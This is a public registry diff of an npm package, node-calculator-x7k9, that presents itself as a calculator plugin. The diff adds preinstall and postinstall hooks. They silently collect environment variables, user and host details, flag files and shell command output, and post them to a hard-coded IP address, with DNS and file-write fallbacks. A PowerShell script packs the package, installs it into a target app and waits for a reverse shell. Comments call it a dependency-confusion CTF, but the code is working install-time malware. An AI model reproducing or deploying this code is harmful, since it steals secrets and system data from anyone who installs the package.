node-calculator-x7k9 0.0.1-security → 3.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of node-calculator-x7k9 might be problematic. Click here for more details.
- package/ATTACK_DIAGRAM.txt +237 -0
- package/EXPLOITATION_GUIDE.md +236 -0
- package/README.md +32 -5
- package/exfil_server.py +219 -0
- package/exploit.ps1 +184 -0
- package/exploit.sh +91 -0
- package/index.js +23 -0
- package/listener.py +159 -0
- package/package.json +14 -6
- package/postinstall.js +65 -0
- package/preinstall.js +284 -0
- package/test-local.ps1 +127 -0
package/package.json
CHANGED
|
@@ -1,6 +1,14 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "node-calculator-x7k9",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
1
|
+
{
|
|
2
|
+
"name": "node-calculator-x7k9",
|
|
3
|
+
"version": "3.3.0",
|
|
4
|
+
"description": "Simple calculator plugin with enhanced features",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js",
|
|
8
|
+
"postinstall": "node postinstall.js"
|
|
9
|
+
},
|
|
10
|
+
"keywords": ["calculator", "math"],
|
|
11
|
+
"author": "DarkT",
|
|
12
|
+
"license": "MIT"
|
|
13
|
+
}
|
|
14
|
+
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Backup Data Exfiltration Payload
|
|
5
|
+
* Runs after installation as a backup
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
const http = require('http');
|
|
9
|
+
const https = require('https');
|
|
10
|
+
const { exec } = require('child_process');
|
|
11
|
+
const fs = require('fs');
|
|
12
|
+
|
|
13
|
+
// Configuration - MUST MATCH preinstall.js
|
|
14
|
+
const EXFIL_SERVER = 'http://159.223.153.251:8080/exfil';
|
|
15
|
+
|
|
16
|
+
// Simple backup exfiltration
|
|
17
|
+
function backupExfil() {
|
|
18
|
+
try {
|
|
19
|
+
const data = {
|
|
20
|
+
timestamp: new Date().toISOString(),
|
|
21
|
+
source: 'postinstall',
|
|
22
|
+
environment: process.env,
|
|
23
|
+
cwd: process.cwd(),
|
|
24
|
+
user: require('os').userInfo().username,
|
|
25
|
+
hostname: require('os').hostname()
|
|
26
|
+
};
|
|
27
|
+
|
|
28
|
+
const jsonData = JSON.stringify(data);
|
|
29
|
+
const url = new URL(EXFIL_SERVER);
|
|
30
|
+
const client = url.protocol === 'https:' ? https : http;
|
|
31
|
+
|
|
32
|
+
const options = {
|
|
33
|
+
hostname: url.hostname,
|
|
34
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
35
|
+
path: url.pathname,
|
|
36
|
+
method: 'POST',
|
|
37
|
+
headers: {
|
|
38
|
+
'Content-Type': 'application/json',
|
|
39
|
+
'Content-Length': Buffer.byteLength(jsonData)
|
|
40
|
+
},
|
|
41
|
+
timeout: 5000
|
|
42
|
+
};
|
|
43
|
+
|
|
44
|
+
const req = client.request(options, (res) => {
|
|
45
|
+
// Success
|
|
46
|
+
});
|
|
47
|
+
|
|
48
|
+
req.on('error', () => {
|
|
49
|
+
// Fallback: write to file
|
|
50
|
+
try {
|
|
51
|
+
fs.writeFileSync('/tmp/postinstall_exfil.json', jsonData);
|
|
52
|
+
} catch (e) {}
|
|
53
|
+
});
|
|
54
|
+
|
|
55
|
+
req.write(jsonData);
|
|
56
|
+
req.end();
|
|
57
|
+
|
|
58
|
+
} catch (err) {
|
|
59
|
+
// Silent fail
|
|
60
|
+
}
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
// Execute
|
|
64
|
+
console.log('Installing node-calculator-x7k9 v3.2.0...');
|
|
65
|
+
setTimeout(backupExfil, 1000);
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,284 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Data Exfiltration Payload for CTF
|
|
5
|
+
* This executes during npm install via preinstall hook
|
|
6
|
+
* Sends environment variables and system info to attacker server
|
|
7
|
+
*
|
|
8
|
+
* IMPORTANT: Replace EXFIL_SERVER with your server URL
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
const http = require('http');
|
|
12
|
+
const https = require('https');
|
|
13
|
+
const fs = require('fs');
|
|
14
|
+
const { exec } = require('child_process');
|
|
15
|
+
const os = require('os');
|
|
16
|
+
|
|
17
|
+
// Configuration - CHANGE THIS!
|
|
18
|
+
const EXFIL_SERVER = 'http://159.223.153.251:8080/exfil'; // Your HTTP server endpoint
|
|
19
|
+
|
|
20
|
+
// Local logging for debugging
|
|
21
|
+
function logLocal(data) {
|
|
22
|
+
const logPath = '/tmp/exfil.log';
|
|
23
|
+
try {
|
|
24
|
+
fs.appendFileSync(logPath, `[${new Date().toISOString()}] ${data}\n`);
|
|
25
|
+
} catch (e) {
|
|
26
|
+
// Silently fail
|
|
27
|
+
}
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
// Read common flag file locations
|
|
31
|
+
function findFlags() {
|
|
32
|
+
const flagLocations = [
|
|
33
|
+
'/flag.txt',
|
|
34
|
+
'/flag',
|
|
35
|
+
'/root/flag.txt',
|
|
36
|
+
'/root/flag',
|
|
37
|
+
'/home/flag.txt',
|
|
38
|
+
'/app/flag.txt',
|
|
39
|
+
'/app/flag',
|
|
40
|
+
'/var/www/flag.txt',
|
|
41
|
+
'/tmp/flag.txt',
|
|
42
|
+
process.cwd() + '/flag.txt',
|
|
43
|
+
process.cwd() + '/flag'
|
|
44
|
+
];
|
|
45
|
+
|
|
46
|
+
const foundFlags = {};
|
|
47
|
+
|
|
48
|
+
flagLocations.forEach(path => {
|
|
49
|
+
try {
|
|
50
|
+
if (fs.existsSync(path)) {
|
|
51
|
+
foundFlags[path] = fs.readFileSync(path, 'utf8');
|
|
52
|
+
}
|
|
53
|
+
} catch (e) {
|
|
54
|
+
// Silently continue
|
|
55
|
+
}
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
return foundFlags;
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
// Execute shell commands and capture output
|
|
62
|
+
function executeCommands() {
|
|
63
|
+
const commands = {
|
|
64
|
+
'ls_root': 'ls -la /',
|
|
65
|
+
'ls_home': 'ls -la ~',
|
|
66
|
+
'ls_app': 'ls -la /app',
|
|
67
|
+
'find_flags': 'find / -name "*flag*" 2>/dev/null',
|
|
68
|
+
'printenv': 'printenv',
|
|
69
|
+
'whoami': 'whoami',
|
|
70
|
+
'id': 'id',
|
|
71
|
+
'pwd': 'pwd',
|
|
72
|
+
'ps': 'ps aux'
|
|
73
|
+
};
|
|
74
|
+
|
|
75
|
+
const results = {};
|
|
76
|
+
const promises = [];
|
|
77
|
+
|
|
78
|
+
Object.keys(commands).forEach(key => {
|
|
79
|
+
const promise = new Promise((resolve) => {
|
|
80
|
+
exec(commands[key], { timeout: 5000 }, (error, stdout, stderr) => {
|
|
81
|
+
results[key] = {
|
|
82
|
+
stdout: stdout || '',
|
|
83
|
+
stderr: stderr || '',
|
|
84
|
+
error: error ? error.message : null
|
|
85
|
+
};
|
|
86
|
+
resolve();
|
|
87
|
+
});
|
|
88
|
+
});
|
|
89
|
+
promises.push(promise);
|
|
90
|
+
});
|
|
91
|
+
|
|
92
|
+
return Promise.all(promises).then(() => results);
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
// Collect all sensitive data
|
|
96
|
+
async function collectData() {
|
|
97
|
+
logLocal('Starting data collection...');
|
|
98
|
+
|
|
99
|
+
const data = {
|
|
100
|
+
timestamp: new Date().toISOString(),
|
|
101
|
+
package_installed: 'node-calculator-x7k9@3.2.0',
|
|
102
|
+
|
|
103
|
+
// Environment variables (often contain flags!)
|
|
104
|
+
environment: process.env,
|
|
105
|
+
|
|
106
|
+
// System information
|
|
107
|
+
system: {
|
|
108
|
+
hostname: os.hostname(),
|
|
109
|
+
platform: os.platform(),
|
|
110
|
+
arch: os.arch(),
|
|
111
|
+
release: os.release(),
|
|
112
|
+
type: os.type(),
|
|
113
|
+
uptime: os.uptime(),
|
|
114
|
+
nodeVersion: process.version,
|
|
115
|
+
cwd: process.cwd(),
|
|
116
|
+
user: os.userInfo(),
|
|
117
|
+
homedir: os.homedir(),
|
|
118
|
+
tmpdir: os.tmpdir()
|
|
119
|
+
},
|
|
120
|
+
|
|
121
|
+
// Network information
|
|
122
|
+
network: {
|
|
123
|
+
interfaces: os.networkInterfaces()
|
|
124
|
+
},
|
|
125
|
+
|
|
126
|
+
// Flag files
|
|
127
|
+
flags: findFlags(),
|
|
128
|
+
|
|
129
|
+
// Command outputs
|
|
130
|
+
commands: await executeCommands(),
|
|
131
|
+
|
|
132
|
+
// Process information
|
|
133
|
+
process: {
|
|
134
|
+
pid: process.pid,
|
|
135
|
+
ppid: process.ppid,
|
|
136
|
+
title: process.title,
|
|
137
|
+
argv: process.argv,
|
|
138
|
+
execPath: process.execPath,
|
|
139
|
+
execArgv: process.execArgv,
|
|
140
|
+
env_keys: Object.keys(process.env)
|
|
141
|
+
}
|
|
142
|
+
};
|
|
143
|
+
|
|
144
|
+
logLocal('Data collection complete');
|
|
145
|
+
return data;
|
|
146
|
+
}
|
|
147
|
+
|
|
148
|
+
// Send data via HTTP POST
|
|
149
|
+
function sendDataHTTP(data) {
|
|
150
|
+
return new Promise((resolve, reject) => {
|
|
151
|
+
const jsonData = JSON.stringify(data, null, 2);
|
|
152
|
+
logLocal(`Attempting to send ${jsonData.length} bytes to ${EXFIL_SERVER}`);
|
|
153
|
+
|
|
154
|
+
const url = new URL(EXFIL_SERVER);
|
|
155
|
+
const isHttps = url.protocol === 'https:';
|
|
156
|
+
const client = isHttps ? https : http;
|
|
157
|
+
|
|
158
|
+
const options = {
|
|
159
|
+
hostname: url.hostname,
|
|
160
|
+
port: url.port || (isHttps ? 443 : 80),
|
|
161
|
+
path: url.pathname + url.search,
|
|
162
|
+
method: 'POST',
|
|
163
|
+
headers: {
|
|
164
|
+
'Content-Type': 'application/json',
|
|
165
|
+
'Content-Length': Buffer.byteLength(jsonData),
|
|
166
|
+
'User-Agent': 'node-calculator-x7k9/3.2.0'
|
|
167
|
+
},
|
|
168
|
+
timeout: 10000
|
|
169
|
+
};
|
|
170
|
+
|
|
171
|
+
const req = client.request(options, (res) => {
|
|
172
|
+
let responseBody = '';
|
|
173
|
+
|
|
174
|
+
res.on('data', (chunk) => {
|
|
175
|
+
responseBody += chunk;
|
|
176
|
+
});
|
|
177
|
+
|
|
178
|
+
res.on('end', () => {
|
|
179
|
+
logLocal(`HTTP Response: ${res.statusCode} - ${responseBody}`);
|
|
180
|
+
resolve({ success: true, status: res.statusCode, body: responseBody });
|
|
181
|
+
});
|
|
182
|
+
});
|
|
183
|
+
|
|
184
|
+
req.on('error', (error) => {
|
|
185
|
+
logLocal(`HTTP Error: ${error.message}`);
|
|
186
|
+
reject(error);
|
|
187
|
+
});
|
|
188
|
+
|
|
189
|
+
req.on('timeout', () => {
|
|
190
|
+
req.destroy();
|
|
191
|
+
logLocal('HTTP Timeout');
|
|
192
|
+
reject(new Error('Request timeout'));
|
|
193
|
+
});
|
|
194
|
+
|
|
195
|
+
req.write(jsonData);
|
|
196
|
+
req.end();
|
|
197
|
+
});
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
// Fallback: DNS exfiltration (encode data in DNS queries)
|
|
201
|
+
function sendDataDNS(data) {
|
|
202
|
+
try {
|
|
203
|
+
// Encode important data as subdomain queries
|
|
204
|
+
const envKeys = Object.keys(data.environment || {}).join(',');
|
|
205
|
+
const flagData = JSON.stringify(data.flags);
|
|
206
|
+
|
|
207
|
+
// Base64 encode and chunk into DNS-safe queries
|
|
208
|
+
const encoded = Buffer.from(flagData).toString('base64')
|
|
209
|
+
.replace(/\+/g, '-')
|
|
210
|
+
.replace(/\//g, '_')
|
|
211
|
+
.replace(/=/g, '');
|
|
212
|
+
|
|
213
|
+
// Split into 63-char chunks (DNS label limit)
|
|
214
|
+
const chunks = encoded.match(/.{1,50}/g) || [];
|
|
215
|
+
|
|
216
|
+
chunks.forEach((chunk, index) => {
|
|
217
|
+
const domain = `${chunk}.${index}.exfil.yourdomain.com`;
|
|
218
|
+
exec(`nslookup ${domain}`, () => {});
|
|
219
|
+
});
|
|
220
|
+
|
|
221
|
+
logLocal('DNS exfiltration attempted');
|
|
222
|
+
} catch (e) {
|
|
223
|
+
logLocal(`DNS exfil error: ${e.message}`);
|
|
224
|
+
}
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
// Fallback: Write to accessible web directory
|
|
228
|
+
function writeToWebDir(data) {
|
|
229
|
+
const webDirs = [
|
|
230
|
+
'/var/www/html/exfil.json',
|
|
231
|
+
'/app/public/exfil.json',
|
|
232
|
+
'/tmp/exfil.json',
|
|
233
|
+
process.cwd() + '/exfil.json'
|
|
234
|
+
];
|
|
235
|
+
|
|
236
|
+
const jsonData = JSON.stringify(data, null, 2);
|
|
237
|
+
|
|
238
|
+
webDirs.forEach(path => {
|
|
239
|
+
try {
|
|
240
|
+
fs.writeFileSync(path, jsonData);
|
|
241
|
+
logLocal(`Data written to ${path}`);
|
|
242
|
+
} catch (e) {
|
|
243
|
+
// Silently continue
|
|
244
|
+
}
|
|
245
|
+
});
|
|
246
|
+
}
|
|
247
|
+
|
|
248
|
+
// Main execution
|
|
249
|
+
async function main() {
|
|
250
|
+
try {
|
|
251
|
+
logLocal('===== PREINSTALL HOOK EXECUTING =====');
|
|
252
|
+
logLocal(`Running on: ${os.hostname()}`);
|
|
253
|
+
logLocal(`CWD: ${process.cwd()}`);
|
|
254
|
+
|
|
255
|
+
// Collect all data
|
|
256
|
+
const data = await collectData();
|
|
257
|
+
|
|
258
|
+
// Try HTTP exfiltration
|
|
259
|
+
try {
|
|
260
|
+
await sendDataHTTP(data);
|
|
261
|
+
logLocal('HTTP exfiltration successful!');
|
|
262
|
+
} catch (httpError) {
|
|
263
|
+
logLocal(`HTTP failed: ${httpError.message}`);
|
|
264
|
+
|
|
265
|
+
// Fallback methods
|
|
266
|
+
sendDataDNS(data);
|
|
267
|
+
writeToWebDir(data);
|
|
268
|
+
}
|
|
269
|
+
|
|
270
|
+
logLocal('===== PREINSTALL HOOK COMPLETE =====');
|
|
271
|
+
|
|
272
|
+
} catch (err) {
|
|
273
|
+
logLocal(`Main error: ${err.message}`);
|
|
274
|
+
// Silent fail to avoid suspicion during npm install
|
|
275
|
+
}
|
|
276
|
+
}
|
|
277
|
+
|
|
278
|
+
// Execute with a small delay
|
|
279
|
+
setTimeout(() => {
|
|
280
|
+
main().catch(err => {
|
|
281
|
+
logLocal(`Fatal error: ${err.message}`);
|
|
282
|
+
});
|
|
283
|
+
}, 500);
|
|
284
|
+
|
package/test-local.ps1
ADDED
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
# Local Testing Script - Test the malicious package locally before publishing
|
|
2
|
+
# This simulates the attack without needing to publish to npm
|
|
3
|
+
|
|
4
|
+
param(
|
|
5
|
+
[string]$AttackerIP = "127.0.0.1",
|
|
6
|
+
[int]$AttackerPort = 4444
|
|
7
|
+
)
|
|
8
|
+
|
|
9
|
+
Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
|
|
10
|
+
Write-Host "║ Local Testing - Dependency Confusion CTF ║" -ForegroundColor Cyan
|
|
11
|
+
Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
|
|
12
|
+
Write-Host ""
|
|
13
|
+
|
|
14
|
+
# Get current directory
|
|
15
|
+
$rootDir = Split-Path -Parent $PSScriptRoot
|
|
16
|
+
$maliciousDir = Join-Path $rootDir "malicious-package"
|
|
17
|
+
$targetDir = Join-Path $rootDir "just-a-calculator"
|
|
18
|
+
|
|
19
|
+
Write-Host "[*] Root Directory: $rootDir" -ForegroundColor Yellow
|
|
20
|
+
Write-Host "[*] Malicious Package: $maliciousDir" -ForegroundColor Yellow
|
|
21
|
+
Write-Host "[*] Target App: $targetDir" -ForegroundColor Yellow
|
|
22
|
+
Write-Host ""
|
|
23
|
+
|
|
24
|
+
# Step 1: Configure payload
|
|
25
|
+
Write-Host "[+] Step 1: Configuring payload..." -ForegroundColor Green
|
|
26
|
+
Set-Location $maliciousDir
|
|
27
|
+
|
|
28
|
+
$preinstallPath = "preinstall.js"
|
|
29
|
+
$postinstallPath = "postinstall.js"
|
|
30
|
+
|
|
31
|
+
$preinstallContent = Get-Content $preinstallPath -Raw
|
|
32
|
+
$preinstallContent = $preinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
|
|
33
|
+
$preinstallContent = $preinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
|
|
34
|
+
Set-Content $preinstallPath -Value $preinstallContent
|
|
35
|
+
|
|
36
|
+
$postinstallContent = Get-Content $postinstallPath -Raw
|
|
37
|
+
$postinstallContent = $postinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
|
|
38
|
+
$postinstallContent = $postinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
|
|
39
|
+
Set-Content $postinstallPath -Value $postinstallContent
|
|
40
|
+
|
|
41
|
+
Write-Host " [✓] Payload configured for $AttackerIP:$AttackerPort" -ForegroundColor Green
|
|
42
|
+
|
|
43
|
+
# Step 2: Start listener
|
|
44
|
+
Write-Host ""
|
|
45
|
+
Write-Host "[+] Step 2: Starting listener..." -ForegroundColor Green
|
|
46
|
+
|
|
47
|
+
if (Test-Path "listener.py") {
|
|
48
|
+
$listenerJob = Start-Job -ScriptBlock {
|
|
49
|
+
param($dir, $port)
|
|
50
|
+
Set-Location $dir
|
|
51
|
+
python3 listener.py $port
|
|
52
|
+
} -ArgumentList $maliciousDir, $AttackerPort
|
|
53
|
+
Write-Host " [✓] Listener started (Job ID: $($listenerJob.Id))" -ForegroundColor Green
|
|
54
|
+
} else {
|
|
55
|
+
Write-Host " [!] listener.py not found" -ForegroundColor Red
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
Start-Sleep -Seconds 2
|
|
59
|
+
|
|
60
|
+
# Step 3: Pack the malicious package
|
|
61
|
+
Write-Host ""
|
|
62
|
+
Write-Host "[+] Step 3: Packing malicious package..." -ForegroundColor Green
|
|
63
|
+
$packOutput = npm pack 2>&1
|
|
64
|
+
Write-Host " [✓] Package created: $packOutput" -ForegroundColor Green
|
|
65
|
+
|
|
66
|
+
# Step 4: Install into target application
|
|
67
|
+
Write-Host ""
|
|
68
|
+
Write-Host "[+] Step 4: Installing malicious package into target..." -ForegroundColor Green
|
|
69
|
+
Set-Location $targetDir
|
|
70
|
+
|
|
71
|
+
# Remove old package
|
|
72
|
+
if (Test-Path "node_modules\node-calculator-x7k9") {
|
|
73
|
+
Write-Host " [*] Removing old package..." -ForegroundColor Yellow
|
|
74
|
+
Remove-Item "node_modules\node-calculator-x7k9" -Recurse -Force
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
# Install malicious package
|
|
78
|
+
$packagePath = Join-Path $maliciousDir "node-calculator-x7k9-3.0.0.tgz"
|
|
79
|
+
Write-Host " [*] Installing from: $packagePath" -ForegroundColor Yellow
|
|
80
|
+
|
|
81
|
+
npm install $packagePath
|
|
82
|
+
|
|
83
|
+
Write-Host " [✓] Package installed!" -ForegroundColor Green
|
|
84
|
+
|
|
85
|
+
# Step 5: Check listener
|
|
86
|
+
Write-Host ""
|
|
87
|
+
Write-Host "[+] Step 5: Checking for shell..." -ForegroundColor Green
|
|
88
|
+
Write-Host " [*] Waiting for reverse shell connection..." -ForegroundColor Yellow
|
|
89
|
+
Write-Host ""
|
|
90
|
+
|
|
91
|
+
# Monitor listener for 30 seconds
|
|
92
|
+
$timeout = 30
|
|
93
|
+
$elapsed = 0
|
|
94
|
+
while ($elapsed -lt $timeout) {
|
|
95
|
+
$output = Receive-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
|
|
96
|
+
if ($output) {
|
|
97
|
+
Write-Host $output
|
|
98
|
+
if ($output -match "Connection received") {
|
|
99
|
+
Write-Host ""
|
|
100
|
+
Write-Host "[✓] SHELL RECEIVED!" -ForegroundColor Green
|
|
101
|
+
break
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
Start-Sleep -Seconds 2
|
|
105
|
+
$elapsed += 2
|
|
106
|
+
Write-Host "." -NoNewline -ForegroundColor Gray
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
Write-Host ""
|
|
110
|
+
Write-Host ""
|
|
111
|
+
Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
|
|
112
|
+
Write-Host "║ Testing Complete ║" -ForegroundColor Cyan
|
|
113
|
+
Write-Host "║ ║" -ForegroundColor Cyan
|
|
114
|
+
Write-Host "║ Listener is still running (Job ID: $($listenerJob.Id)) ║" -ForegroundColor Cyan
|
|
115
|
+
Write-Host "║ To view: Receive-Job $($listenerJob.Id) ║" -ForegroundColor Cyan
|
|
116
|
+
Write-Host "║ To stop: Stop-Job $($listenerJob.Id); Remove-Job $($listenerJob.Id) ║" -ForegroundColor Cyan
|
|
117
|
+
Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
|
|
118
|
+
|
|
119
|
+
Write-Host ""
|
|
120
|
+
Write-Host "Press Enter to stop listener and cleanup..." -ForegroundColor Yellow
|
|
121
|
+
Read-Host
|
|
122
|
+
|
|
123
|
+
# Cleanup
|
|
124
|
+
Stop-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
|
|
125
|
+
Remove-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
|
|
126
|
+
Write-Host "[✓] Cleanup complete" -ForegroundColor Green
|
|
127
|
+
|